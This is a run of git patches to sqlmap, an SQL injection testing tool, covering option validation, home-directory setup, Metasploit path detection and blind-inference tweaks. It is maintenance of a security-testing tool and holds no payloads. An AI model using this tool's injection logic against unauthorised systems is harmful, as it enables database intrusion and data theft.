any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True - if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): + if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False - elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): + elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False diff --git a/lib/core/settings.py b/lib/core/settings.py index ff0d44e2484..f8b7e25d28f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.1" +VERSION = "1.3.2.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 8882ead52b0..a8034d0aa9b 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -43,14 +43,14 @@ e1f7758f433202c50426efde5eb96768 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -9357506018d15f30cffb99a0005d7f1c lib/core/option.py +835fdd61d9845ca4a7b27c7cf3ddac8e lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -b4f1b03bd5a6ec82fd2b84b6eccba5c9 lib/core/settings.py +91f30b68b964780114a4fedc25df0a2e lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From 5077844dd999ce95a7eabb539f84d903ed733808 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 5 Feb 2019 13:42:44 +0100 Subject: [PATCH 090/800] Fixes #3468 --- lib/controller/controller.py | 2 +- lib/core/option.py | 11 +++++++++-- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 14 insertions(+), 7 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index af7a17a8f06..d8e42f06c5e 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -491,7 +491,7 @@ def start(): elif parameter in conf.testParameter: pass - elif parameter == conf.rParam: + elif parameter in conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) diff --git a/lib/core/option.py b/lib/core/option.py index 44c43dc955c..a9be0a9a38c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -41,6 +41,7 @@ from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType +from lib.core.common import intersect from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile @@ -2416,8 +2417,14 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.skip and conf.testParameter: - errMsg = "option '--skip' is incompatible with option '-p'" - raise SqlmapSyntaxException(errMsg) + if intersect(conf.skip, conf.testParameter): + errMsg = "option '--skip' is incompatible with option '-p'" + raise SqlmapSyntaxException(errMsg) + + if conf.rParam and conf.testParameter: + if intersect(conf.rParam, conf.testParameter): + errMsg = "option '--randomize' is incompatible with option '-p'" + raise SqlmapSyntaxException(errMsg) if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" diff --git a/lib/core/settings.py b/lib/core/settings.py index f8b7e25d28f..a5ea57c99bd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.2" +VERSION = "1.3.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index a8034d0aa9b..68e54b9dd80 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -25,7 +25,7 @@ fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py d392dbccdb59ac36530c1182675a2609 lib/controller/checks.py -b37a93767459162b30798bd9732a12a3 lib/controller/controller.py +8581acf56b8fb0def50af3707490a834 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py @@ -43,14 +43,14 @@ e1f7758f433202c50426efde5eb96768 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -835fdd61d9845ca4a7b27c7cf3ddac8e lib/core/option.py +7099592edf923ff3b88ecc4a98b52762 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -91f30b68b964780114a4fedc25df0a2e lib/core/settings.py +474088278707e6d5c01de7515e433c05 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From f9ee0f4c0ae72f809577e031a5164fa4359dbbdc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 5 Feb 2019 14:02:52 +0100 Subject: [PATCH 091/800] Trivial update --- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index d1fc8ba946a..414d7df8fb5 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -133,7 +133,7 @@ def string(self, header, data, content_type=None, sort=True): if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: - self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) + self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) else: self._write("%s:\tNone" % header) diff --git a/lib/core/settings.py b/lib/core/settings.py index a5ea57c99bd..61d87137a19 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.3" +VERSION = "1.3.2.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 68e54b9dd80..f822efcf604 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -37,7 +37,7 @@ e1f7758f433202c50426efde5eb96768 lib/core/datatype.py 1646402a733e564f05025e848b323cf9 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py -13ca1a870fa0b01b9593f25e9e93ed9c lib/core/dump.py +4ba141124699fd7a763dea82f17fe523 lib/core/dump.py 5c91145204092b995ed1ac641e9e291d lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -474088278707e6d5c01de7515e433c05 lib/core/settings.py +eb57ce3f759d37233aba581cc8c88751 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From 4b00924826bd668f93f7b503fff35f1876e62542 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 5 Feb 2019 16:58:18 +0100 Subject: [PATCH 092/800] Couple of updates regarding readline capabilities --- lib/core/common.py | 16 ++++++++++++---- lib/core/option.py | 36 ++++++++++++++++++++++++++++++++++++ lib/core/readlineng.py | 4 +--- lib/core/settings.py | 2 +- lib/core/target.py | 30 ------------------------------ txt/checksum.md5 | 10 +++++----- 6 files changed, 55 insertions(+), 43 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0a37a4c4c50..cc4c6e65c18 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1268,14 +1268,22 @@ def setPaths(rootPath): paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") - _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") - paths.SQLMAP_HOME_PATH = _ - paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + if IS_WIN: + if os.getenv("LOCALAPPDATA"): + paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap") + elif os.getenv("USERPROFILE"): + paths.SQLMAP_HOME_PATH = os.path.expandvars("%USERPROFILE%\\Local Settings\\sqlmap") + else: + paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), "sqlmap") + else: + paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") + + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # history files - paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(_, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst") paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst") paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst") diff --git a/lib/core/option.py b/lib/core/option.py index a9be0a9a38c..5c01d6f3799 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1413,6 +1413,41 @@ def _checkDependencies(): if conf.dependencies: checkDependencies() +def _createHomeDirectories(): + """ + Creates directories inside sqlmap's home directory + """ + + for context in "output", "history": + directory = paths["SQLMAP_%s_PATH" % context.upper()] + try: + if not os.path.isdir(directory): + os.makedirs(directory) + + _ = os.path.join(directory, randomStr()) + open(_, "w+b").close() + os.remove(_) + + if conf.outputDir and context == "output": + warnMsg = "using '%s' as the %s directory" % (directory, context) + logger.warn(warnMsg) + except (OSError, IOError) as ex: + try: + tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) + except Exception as _: + errMsg = "unable to write to the temporary directory ('%s'). " % _ + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + raise SqlmapSystemException(errMsg) + + warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) + warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warn(warnMsg) + + paths["SQLMAP_%s_PATH" % context.upper()] = tempDir + def _createTemporaryDirectory(): """ Creates temporary directory for this run. @@ -2500,6 +2535,7 @@ def init(): _cleanupEnvironment() _purge() _checkDependencies() + _createHomeDirectories() _createTemporaryDirectory() _basicOptionValidation() _setProxyList() diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index cccd2af34a4..5e16f689eb6 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -56,9 +56,7 @@ # http://mail.python.org/pipermail/python-dev/2003-August/037845.html # has the original discussion. if _readline: - try: - _readline.clear_history() - except AttributeError: + if not hasattr(_readline, "clear_history"): def clear_history(): pass diff --git a/lib/core/settings.py b/lib/core/settings.py index 61d87137a19..f1379dc31ce 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.4" +VERSION = "1.3.2.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index fb78e1043d3..d19ca7ef805 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -630,36 +630,6 @@ def _createTargetDirs(): Create the output directory. """ - for context in "output", "history": - directory = paths["SQLMAP_%s_PATH" % context.upper()] - try: - if not os.path.isdir(directory): - os.makedirs(directory) - - _ = os.path.join(directory, randomStr()) - open(_, "w+b").close() - os.remove(_) - - if conf.outputDir and context == "output": - warnMsg = "using '%s' as the %s directory" % (directory, context) - logger.warn(warnMsg) - except (OSError, IOError) as ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) - except Exception as _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) - - warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) - warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) - - paths["SQLMAP_%s_PATH" % context.upper()] = tempDir - conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) try: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f822efcf604..fd2b6e9d66b 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -abbe98412255c4856ef30a15da8136a2 lib/core/common.py +e253cc58cb0d2bc01a68cfbe58266435 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py e1f7758f433202c50426efde5eb96768 lib/core/datatype.py @@ -43,17 +43,17 @@ e1f7758f433202c50426efde5eb96768 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -7099592edf923ff3b88ecc4a98b52762 lib/core/option.py +f479c164e44c766316205aa16cf3947b lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py -5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py +d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -eb57ce3f759d37233aba581cc8c88751 lib/core/settings.py +91a39930f92053b07f6ba594b6691fb8 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py -9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py +43772ea73e9e3d446f782af591cb4eda lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py e9788d2992f842cf91ab67389bf4372a lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py From 5b0d25ff253d6f5039681c0bf39bc337c6c36ad3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 6 Feb 2019 07:35:05 +0100 Subject: [PATCH 093/800] Fixes #3469 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 5c01d6f3799..5797daf93f2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -13,7 +13,6 @@ import random import re import socket -import string import sys import tempfile import threading @@ -36,6 +35,7 @@ from lib.core.common import decodeStringEscape from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString +from lib.core.common import getUnicode from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth diff --git a/lib/core/settings.py b/lib/core/settings.py index f1379dc31ce..c54e08b3dee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.5" +VERSION = "1.3.2.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index fd2b6e9d66b..6bef32eac9b 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -43,14 +43,14 @@ e1f7758f433202c50426efde5eb96768 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -f479c164e44c766316205aa16cf3947b lib/core/option.py +fca2d30cc9f9f5906e53542b2a9c247e lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -91a39930f92053b07f6ba594b6691fb8 lib/core/settings.py +92a41d5a203138d85c80e2ab76a744e4 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 5eb9f5729c3341cc0e6edcd0eed1bca5728ba6af Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 7 Feb 2019 16:45:16 +0100 Subject: [PATCH 094/800] Couple of patches related to the #3473 --- lib/core/settings.py | 4 ++-- lib/request/inject.py | 7 ++++++- lib/techniques/blind/inference.py | 4 +++- txt/checksum.md5 | 6 +++--- 4 files changed, 14 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c54e08b3dee..6f58efc35b0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.6" +VERSION = "1.3.2.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -185,7 +185,7 @@ MIN_UNION_RESPONSES = 5 # After these number of blanks at the end inference should stop (just in case) -INFERENCE_BLANK_BREAK = 10 +INFERENCE_BLANK_BREAK = 5 # Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' diff --git a/lib/request/inject.py b/lib/request/inject.py index fab1a205fc1..b02fa41973f 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -347,7 +347,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser """ if conf.hexConvert: - charsetType = CHARSET_TYPE.HEXADECIMAL + if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): + warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + conf.hexConvert = False + else: + charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index ba6d7085c8c..60717107c3e 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -631,9 +631,11 @@ def blindThread(): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces - if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': + if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break + elif charsetType and partialValue[-1:].isspace(): + break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 6bef32eac9b..8ad13b4b72b 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -92a41d5a203138d85c80e2ab76a744e4 lib/core/settings.py +4e9e2ab5f80ca605f2be342798b29ba3 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -77,7 +77,7 @@ fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py fb6be55d21a70765e35549af2484f762 lib/request/__init__.py -338f39808f63af8d4f4afe9e7b0665a2 lib/request/inject.py +2fa26f93a7bf6261bbc4d94b14df5a4e lib/request/inject.py 52a067bd2fe91ea9395269a684380cbb lib/request/methodrequest.py ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py 16ff6e078819fe517b1fc0ae3cbc1aa8 lib/request/rangehandler.py @@ -91,7 +91,7 @@ d55029a4c048e345fbb07a8f91604d83 lib/takeover/metasploit.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py 915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py 1aadcdc058bb813d09ad23d26ea2a6b5 lib/takeover/xp_cmdshell.py -96f120e4299baaea4defd902afc85979 lib/techniques/blind/inference.py +d838c943f4fc68d2ae89386024fa33ca lib/techniques/blind/inference.py fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py From 0a42d91934f17c9489e851d94a840e3bd672f7b7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 7 Feb 2019 16:49:58 +0100 Subject: [PATCH 095/800] Patch related to the last commit --- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 1 + txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6f58efc35b0..5e07d200a1c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.7" +VERSION = "1.3.2.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 60717107c3e..340d6134442 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -635,6 +635,7 @@ def blindThread(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): + finalValue = partialValue[:-1] break if (lastChar > 0 and index >= lastChar): diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 8ad13b4b72b..077eb91b6d3 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -4e9e2ab5f80ca605f2be342798b29ba3 lib/core/settings.py +ccda855c6b8c67a67867fba4047446d6 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -91,7 +91,7 @@ d55029a4c048e345fbb07a8f91604d83 lib/takeover/metasploit.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py 915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py 1aadcdc058bb813d09ad23d26ea2a6b5 lib/takeover/xp_cmdshell.py -d838c943f4fc68d2ae89386024fa33ca lib/techniques/blind/inference.py +654d222cbae610923965c583355ec34a lib/techniques/blind/inference.py fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py From ab32ad4f48db8f93dc23b31fb2c28ce9b66a8305 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 7 Feb 2019 17:33:16 +0100 Subject: [PATCH 096/800] Fixes #3471 --- lib/core/common.py | 7 ++++++- lib/core/settings.py | 2 +- plugins/generic/databases.py | 20 ++++++++++++++++---- txt/checksum.md5 | 6 +++--- 4 files changed, 26 insertions(+), 9 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index cc4c6e65c18..698009401cb 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2994,16 +2994,21 @@ def parseSqliteTableSchema(value): Parses table column names and types from specified SQLite table schema """ + retVal = False + if value: table = {} columns = {} for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): + retVal = True columns[match.group(1)] = match.group(2) - 